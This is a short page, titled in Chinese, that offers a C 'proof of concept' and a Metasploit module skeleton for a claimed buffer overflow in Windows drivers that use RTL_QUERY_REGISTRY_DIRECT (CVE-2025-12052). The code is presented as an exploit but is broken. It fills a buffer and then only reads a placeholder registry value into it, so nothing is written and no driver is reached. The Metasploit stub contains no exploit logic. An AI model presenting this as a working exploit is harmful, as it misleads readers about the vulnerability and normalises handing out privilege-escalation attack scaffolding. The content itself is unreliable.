CVE-2025-12052 Windows驱动RTL_QUERY_REGISTRY_DIRECT缓冲区溢出漏洞

/* CVE-2025-12052 Buffer Overflow PoC Target: Windows drivers using RTL_QUERY_REGISTRY_DIRECT Author: Security Researcher Note: Educational purposes only */ #include <windows.h> #include <stdio.h> int main() { HKEY hKey; LONG lResult; DWORD dwType = REG_SZ; char szValue[8192]; // Large buffer to trigger overflow DWORD cbData = sizeof(szValue); // Fill buffer with pattern memset(szValue, 0x41, sizeof(szValue) - 1); szValue[sizeof(szValue) - 1] = '\0'; // Attempt to trigger vulnerability via registry lResult = RegOpenKeyExA( HKEY_LOCAL_MACHINE, "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver", 0, KEY_READ, &hKey ); if (lResult == ERROR_SUCCESS) { printf("[+] Registry key opened successfully\n"); printf("[*] Attempting to trigger buffer overflow...\n"); // This will trigger the driver to read the large value lResult = RegQueryValueExA( hKey, "MaliciousValue", NULL, &dwType, (LPBYTE)szValue, &cbData ); printf("[*] Registry query completed with result: %ld\n", lResult); RegCloseKey(hKey); } else { printf("[-] Failed to open registry key\n"); } return 0; } // Metasploit module structure for reference: // require 'msf/core' // class MetasploitModule < Msf::Exploit::Local // Rank = NormalRanking // // def initialize(info = {}) // super(update_info(info, // 'Name' => 'CVE-2025-12052 Driver Buffer Overflow', // 'Description' => %q{ // This module exploits a buffer overflow in Windows drivers // using RTL_QUERY_REGISTRY_DIRECT flag. // }, // 'License' => MSF_LICENSE, // 'Author' => ['Researcher'], // 'Platform' => 'win' // )) // end // end